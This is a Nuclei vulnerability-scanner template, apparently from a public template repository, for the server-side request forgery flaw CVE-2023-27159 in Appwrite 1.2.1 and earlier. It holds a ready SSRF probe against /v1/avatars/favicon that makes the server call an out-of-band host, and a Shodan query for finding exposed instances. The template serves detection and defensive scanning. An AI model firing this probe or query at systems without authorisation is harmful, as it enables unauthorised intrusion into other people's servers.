nuclei-templates/http/cves/2023/CVE-2023-27159.yaml

42 lines
1.3 KiB
YAML
Raw Normal View History

2023-04-13 05:27:31 +00:00
id: CVE-2023-27159
info:
name: Appwrite <=1.2.1 - Server-Side Request Forgery
2023-04-13 05:27:31 +00:00
author: DhiyaneshDk
severity: medium
description: |
Appwrite through 1.2.1 is susceptible to server-side request forgery via the component /v1/avatars/favicon. An attacker can potentially access network resources and sensitive information via a crafted GET request, thereby also making it possible to modify data and/or execute unauthorized administrative operations in the context of the affected site.
2023-04-13 05:27:31 +00:00
reference:
- https://gist.github.com/b33t1e/43b26c31e895baf7e7aea2dbf9743a9a
- https://notes.sjtu.edu.cn/gMNlpByZSDiwrl9uZyHTKA
- https://nvd.nist.gov/vuln/detail/CVE-2023-27159
2023-04-13 13:37:01 +00:00
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N
cvss-score: 5.3
cwe-id: CWE-918
2023-04-13 13:37:01 +00:00
cve-id: CVE-2023-27159
2023-04-13 05:27:31 +00:00
metadata:
max-request: 1
2023-06-04 08:13:42 +00:00
verified: true
2023-04-13 05:27:31 +00:00
shodan-query: title:"Sign In - Appwrite"
tags: cve,cve2023,appwrite,ssrf,oast
http:
2023-04-13 05:27:31 +00:00
- method: GET
path:
- "{{BaseURL}}/v1/avatars/favicon?url=http://{{interactsh-url}}"
matchers-condition: and
matchers:
- type: word
part: interactsh_protocol
words:
- "http"
- type: word
part: interactsh_request
words:
- "User-Agent: Appwrite-Server"
# Enhanced by md on 2023/04/20